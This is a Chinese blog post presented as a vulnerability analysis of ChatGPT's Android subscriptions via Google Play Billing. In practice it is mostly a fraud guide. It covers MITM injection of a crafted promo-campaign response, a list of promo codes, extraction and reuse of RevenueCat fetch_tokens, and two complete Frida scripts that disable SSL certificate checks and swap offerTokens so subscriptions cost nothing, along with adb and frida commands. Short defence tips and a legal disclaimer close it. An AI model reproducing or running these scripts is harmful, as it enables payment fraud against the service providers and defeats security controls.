返回 AI 资讯
安全研究言零的博客

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ 时效性提醒(2026-07 更新):本文发布于 2026 年 4 月,距今已过去 3 个月。文中方案三(批量开 Pro)已在发布时标注为已修复;方案一(API 响应注入)和方案二(offerToken 替换)经过近 3 个月,当前可用性存疑,OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。 前言 ChatGPT 安卓客户端在调用 Goog…

内容摘要

联系方式 & 交流群 QQ : 46333839 微信 : GOV-HACK 进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~ 时效性提醒(2026-07 更新):本文发布于 2026 年 4 月,距今已过去 3 个月。文中方案三(批量开 Pro)已在发布时标注为已修复;方案一(API 响应注入)和方案二(offerToken 替换)经过近 3 个月,当前可用性存疑,OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。 前言 ChatGPT 安卓客户端在调用 Google Play Billing 时,服务端没有对订阅凭证做二次校验,攻击者可以通过两种方式拿到 Plus/Pro 的零元订阅。 这属于业务逻辑漏洞,根源在于 Google Play Billing 过度信任客户端传入的优惠凭证,没有与服务端做资格校验。 两种攻击方式对比 攻击方式 攻击点 技术难度 需要 Root 稳定性 方式一:API 响应注入 HTTP 层(MITM) 中 否 依赖服务端校验 方式二:offerToken 替换 内存层(Frida) 高 是 更稳定 方式一:API 响应注入(无需 Root) 攻击原理 ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息: GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27 响应包中包含 eligible_promo_campaigns 字段,用于存储当前账号可用的优惠活动。正常情况下,这个字段由服务端根据账号资格动态返回。 通过中间人攻击(MITM),我们可以修改响应包,强行插入优惠码。 环境准备 必要条件 : 美区谷歌账号 × 1(任意区均可,非必须英区) 任意美卡 × 1(用于绑定账号,实际不扣费) 安卓设备 × 1(需 Root 以安装 MITM 证书,模拟器亦可) 工具链 : MITM 抓包工具(推荐 HttpCanary 或 Charles) Root 权限管理工具(Magisk) ChatGPT 安卓客户端 可用优惠码 固定优惠码(每次可用): 优惠码 效果 稳定性 3-day-free-trial 3 天免费试用 固定可用 plus-1-month-free-trial 1 个月免费试用 固定可用 1-month-10-dollars 半价优惠($5/月) 固定可用 pro-winback-1-month-free Pro 挽回试用 1 个月 特定资格账号 特殊优惠码(限时/限资格): 优惠码 效果 说明 2wqkodfx51z2x 6 个月免费试用 限时优惠 2ispxs5mtgz35 12 个月免费试用 限时优惠 这些优惠码是固定的,每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。 构造优惠响应 以下是注入 1 个月免费试用优惠的响应包示例: { "eligible_promo_campaigns" : { "plus" : { "id" : "plus-1-month-free" , "metadata" : { "plan_name" : "chatgptplusplan" , "title" : "linux.do" , "summary" : "你已获得 1 个月的 Plus 套餐优惠促销代码。" , "discount" : { "percentage" : 100 }, "credit_grant" : null , "duration" : { "num_periods" : 1 , "period" : "month" }, "schedule" : null , "price_period" : "recurring" , "promotion_type" : "discount" , "promotion_type_label" : "1-month free trial" , "no_auto_renewal_at_discount_end" : true , "plan_type_change" : null } } } } 关键字段说明: discount.percentage : 100 表示 100% 折扣(即 0 元) duration.num_periods : 优惠持续时间(1 表示 1 个月) no_auto_renewal_at_discount_end : true 表示优惠结束后不自动续费 零元订阅与风控绕过 修改响应后重新打开 ChatGPT 应用,点击升级即可看到免费试用界面。 由于是 0 元订阅,Google Play 的风控级别极低,只需通过验卡环节即可完成。提前绑定美卡的目的是通过 Google 的风控验证,实际不会扣费。 提取订阅凭证 订阅成功后,ChatGPT 会向 RevenueCat 回调接口发送订阅凭证: POST https://api.revenuecat.com/v1/receipts 拦截该请求,提取响应中的 fetch_token 字段: { "fetch_token" : "xxxx" , ... } 这个 fetch_token 就是订阅凭证。将其保存后,即可用于给其他账号开通 Plus 权益。 方式二:offerToken 内存替换(需要 Root) 攻击原理 ChatGPT Android 调用 Google Play Billing 时,把当前 SKU 的默认 offerToken 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 plus-1-month-free-trial 的 offerToken ,让 Google Play 按免费试用处理。实际支付金额就是 0 刀。 攻击发生在用户本地设备上,篡改的是客户端与 Google Play 之间的计费数据,不涉及 OpenAI 服务端。 环境准备 设备/工具 用途 Root 的 Android 手机 需要刷 Magisk Windows 电脑 用于运行 Frida 客户端和 ADB Frida HLUDA Server 正常版本谷歌有检测 Hook 会闪退 四步攻击流程 第一步:通过 Frida 的 Java.choose 接口遍历内存中名为 c3q 的混淆计费类实例,利用反射强制访问其私有字段 b (对应 offerId )与 c (对应 offerToken )。 第二步:脚本持续比对,当发现某个实例的 offerId 与目标免费试用档位一致、且其 offerToken 以 Adumm 为前缀时,将该 offerToken 捕获并缓存。 第三步:对 Android 系统框架层的三个方法进行 Hook: android.content.Intent.putExtra(String, String) android.os.Bundle.putString(String, String) android.os.Bundle.putStringArrayList(String, ArrayList) 在 ChatGPT 客户端发起付费订阅购买请求的瞬间,Hook 代码识别到即将写入的原始付费档位 offerToken (同样以 Adumm 开头),即将其替换为此前已缓存的免费试用 offerToken 。 第四步:经篡改后的购买请求被 Google Play 按"免费试用成功"处理,返回成功回执。 可用优惠码 优惠码 效果 2wqkodfx51z2x 6 个月免费 2ispxs5mtgz35 12 个月免费 完整 Frida 脚本(简化版) 下面是经过整理的简化版 Hook 脚本,移除了复杂的动态捕获逻辑,直接注入已知的免费试用 offerToken: /** * GPT Plus 免费订阅 Hook 脚本 - 简化版 * 用途:Hook Google Play Billing,直接替换 offerToken 为免费试用 * * 使用方法: * 1. 手机 Root 并安装 Magisk * 2. 推送 frida-server 到手机并运行 * 3. 电脑端运行:frida -U -f com.openai.chatgpt -l hook.js * 4. 在 ChatGPT App 中点击订阅 * 5. 自动替换为免费试用,扣费 0 元 */ "use strict" ; // 配置区域:免费试用 offerToken(GPT Plus 1 个月) var OFFER_TOKEN = "AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=" ; var _keepAlive = setInterval ( function () {}, 1000 ); function log ( msg ) { console . log ( "[GPT] " + msg ); } Java . perform ( function () { log ( "启动 — 注入 plus-1-month-free-trial" ); // SSL 解除(防止证书验证失败) try { var TM = Java . use ( "com.android.org.conscrypt.TrustManagerImpl" ); TM . checkTrustedRecursive . overload ( "[Ljava.security.cert.X509Certificate;" , "java.net.Socket" , "boolean" , "boolean" , "boolean" , "java.util.Collection" , "java.util.Collection" ). implementation = function () { return Java . use ( "java.util.ArrayList" ). $new (); }; } catch ( _ ) {} try { Java . use ( "android.security.net.config.NetworkSecurityTrustManager" ) . checkPins . implementation = function () {}; } catch ( _ ) {} try { Java . use ( "android.net.http.X509TrustManagerExtensions" ) . checkServerTrusted . overload ( "[Ljava.security.cert.X509Certificate;" , "java.lang.String" , "java.lang.String" ). implementation = function () { return Java . use ( "java.util.ArrayList" ). $new (); }; } catch ( _ ) {} // 注入 offerToken(Bundle 层) var JStr = Java . use ( "java.lang.String" ); try { var Bundle = Java . use ( "android.os.Bundle" ); Bundle . putStringArrayList . overload ( "java.lang.String" , "java.util.ArrayList" ) . implementation = function ( key , value ) { if (( key === "SKU_OFFER_ID_TOKEN_LIST" || key === "OFFER_ID_TOKEN_LIST" ) && value ) { for ( var i = 0 ; i < value . size (); i ++ ) value . set ( i , JStr . $new ( OFFER_TOKEN )); log ( "offerToken 已注入" ); } return this . putStringArrayList ( key , value ); }; } catch ( _ ) {} // 注入 offerToken(JSONObject 层) try { var JSONObj = Java . use ( "org.json.JSONObject" ); JSONObj . $init . overload ( "java.lang.String" ). implementation = function ( s ) { if ( s && s . indexOf ( "oai.chatgpt.plus" ) !== - 1 && s . indexOf ( "offerToken" ) !== - 1 ) { var patched = s . replace ( /"offerToken"\s*:\s*"[^"]+"/g , '"offerToken":"' + OFFER_TOKEN + '"' ); return this . $init ( patched ); } return this . $init ( s ); }; } catch ( _ ) {} log ( "就绪。请在 ChatGPT 中点击订阅按钮。" ); }); 完整 Frida 脚本(动态捕获版) 如果你拿到的 offerToken 格式有变化,可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换: // Dynamic offerToken — 1 MONTH FREE Plus trial Java . perform ( function () { console . log ( '[*] plus-1-month-free-trial' ); var TARGET_OFFER_ID = "plus-1-month-free-trial" ; var capturedToken = null ; function scanC3qInstances () { try { Java . choose ( 'c3q' , { onMatch : function ( inst ) { try { var clazz = inst . getClass (); var bF = clazz . getDeclaredField ( 'b' ); bF . setAccessible ( true ); var cF = clazz . getDeclaredField ( 'c' ); cF . setAccessible ( true ); var offerId = bF . get ( inst ); var offerToken = cF . get ( inst ); var oidStr = ( offerId === null ) ? '(default)' : ( '' + offerId ); var tokStr = ( offerToken === null ) ? 'null' : ( '' + offerToken ); if ( tokStr . indexOf ( 'Adumm' ) === 0 && oidStr === TARGET_OFFER_ID ) { capturedToken = tokStr ; console . log ( ' >>> FOUND ' + TARGET_OFFER_ID + ' <<<' ); } } catch ( e ) {} }, onComplete : function () {} }); } catch ( e ) {} } setInterval ( function () { if ( ! capturedToken ) Java . perform ( scanC3qInstances ); }, 3000 ); var Intent = Java . use ( 'android.content.Intent' ); var Bundle = Java . use ( 'android.os.Bundle' ); function maybeSwap ( orig , ctx ) { if ( ! orig || orig . indexOf ( 'Adumm' ) !== 0 ) return orig ; if ( ! capturedToken ) Java . perform ( scanC3qInstances ); if ( capturedToken ) { console . log ( '[' + ctx + '] SWAP -> ' + TARGET_OFFER_ID ); return capturedToken ; } return orig ; } Intent . putExtra . overload ( 'java.lang.String' , 'java.lang.String' ). implementation = function ( k , v ) { return this . putExtra ( k , ( v && v . indexOf && v . indexOf ( 'Adumm' ) === 0 ) ? maybeSwap ( v , 'Intent' ) : v ); }; Bundle . putString . implementation = function ( k , v ) { return this . putString ( k , ( v && v . indexOf && v . indexOf ( 'Adumm' ) === 0 ) ? maybeSwap ( v , 'Bundle' ) : v ); }; Bundle . putStringArrayList . implementation = function ( k , list ) { try { if ( list !== null ) for ( var i = 0 ; i < list . size (); i ++ ) { var v = list . get ( i ), sv = '' + v ; if ( sv . indexOf ( 'Adumm' ) === 0 ) list . set ( i , maybeSwap ( sv , 'BundleArr' )); } } catch ( e ) {} return this . putStringArrayList ( k , list ); }; console . log ( '[+] Open subscription page first.' ); }); 使用说明(简化版脚本): 启动 Frida 服务端 在手机上执行: adb push frida-server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/frida-server adb shell su -c '/data/local/tmp/frida-server &' 注入脚本 在电脑端执行: frida -U -f com.openai.chatgpt -l hook.js 看到 [GPT] 启动 — 注入 plus-1-month-free-trial 后继续。 完成购买 在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。 控制台应该显示 [GPT] offerToken 已注入 ,支付金额显示为 0 元。 使用说明(动态捕获版脚本): 手机 Root 并安装 Magisk 推送 frida-server (HLUDA 版本) 到手机并运行 打开 ChatGPT 应用,进入升级 - 订阅 Plus 页面 电脑端运行 frida -U -f com.openai.chatgpt -l script.js 开启脚本 脚本会自动捕获并替换 token(控制台显示 SWAP -> plus-1-month-free-trial ) 在订阅页面点击升级,弹出的谷歌支付弹窗即显示 0 元 完成验证后订阅成功 注意事项 : 建议使用简化版脚本,更稳定 如果简化版不工作,再尝试动态捕获版 使用 HLUDA 版本 Frida 可绕过部分检测 部分设备可能需要关闭 Google Play 保护机制 漏洞根源分析 方案一:API 响应注入 漏洞根源 :服务端未校验 eligible_promo_campaigns 中优惠码的获取途径合法性,仅验证格式有效即允许使用。 修复状态 :部分修复。目前部分优惠码已与账号资格绑定,但固定优惠码仍可使用。 方案二:offerToken 替换 漏洞根源 :Google Play Billing 信任客户端传入的 offerToken ,未与服务端二次校验账号是否真正具备该优惠的使用资格。 修复状态 :未修复。这是 Google Play Billing 的设计缺陷,需要谷歌层面修复。 方案三:批量开 Pro(已修复) 这是之前某个公益 Bot 使用的大规模开 Pro 方案: 正价开通一个 ChatGPT Pro 账号 在客户端内点击"降级为 Plus" 客户端向 RevenueCat 请求新的 fetch_token 该 token 为一次性凭证,未使用前可无限生成 将 token 分发给需要开 Pro 的账号 漏洞根源 :RevenueCat 作为第三方订阅管理平台,与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 fetch_token 的来源合法性,仅验证 token 格式有效即开通权益。 修复状态 :该方案已被修复。目前 fetch_token 已与设备指纹和账号绑定,无法跨账号使用。 技术总结 漏洞类型 业务逻辑漏洞 :服务端过度信任客户端传入的订阅凭证 第三方集成风险:RevenueCat/Google Play Billing 回调接口缺乏鉴权 优惠码校验缺失:未校验优惠码的获取途径合法性和账号资格 攻击链关键点 中间人攻击可行性:安卓客户端未启用 SSL Pinning(或可被 Root 绕过) 内存 Hook 可行性:Google Play Billing 未检测 Frida 等 Hook 框架 零元订阅风控宽松:Google Play 对 0 元交易验证级别低 凭证复用漏洞 : fetch_token / offerToken 未与账号/设备绑定 防御建议 对开发者的建议 服务端校验 :所有订阅状态变更必须与 Google Play Billing 侧二次确认 凭证绑定 : fetch_token / offerToken 应绑定设备指纹、账号 ID、时间戳 优惠码校验 :记录优惠码使用历史,检测异常使用模式 SSL Pinning:移动端应用应启用证书锁定防止中间人攻击 反 Hook 检测:检测 Frida、Xposed 等 Hook 框架 对用户的提醒 此类漏洞属于灰色地带,使用可能导致账号被封禁 绑定的支付方式存在潜在风险,建议使用虚拟卡 漏洞随时可能被修复,不建议作为长期使用方案 法律免责声明 本文仅用于技术研究与安全交流,请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律: 《中华人民共和国网络安全法》 《计算机信息网络国际联网安全保护管理办法》 美国 Computer Fraud and Abuse Act (CFAA) 如因滥用本文技术导致的法律后果,作者不承担任何责任。 参考资料 RevenueCat 官方文档 Google Play Billing 安全最佳实践 OWASP Mobile Top 10 Frida 官方文档 HLUDA - Undetectable Frida Server 标签 : #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析

资讯来源

言零的博客

原文链接

打开原文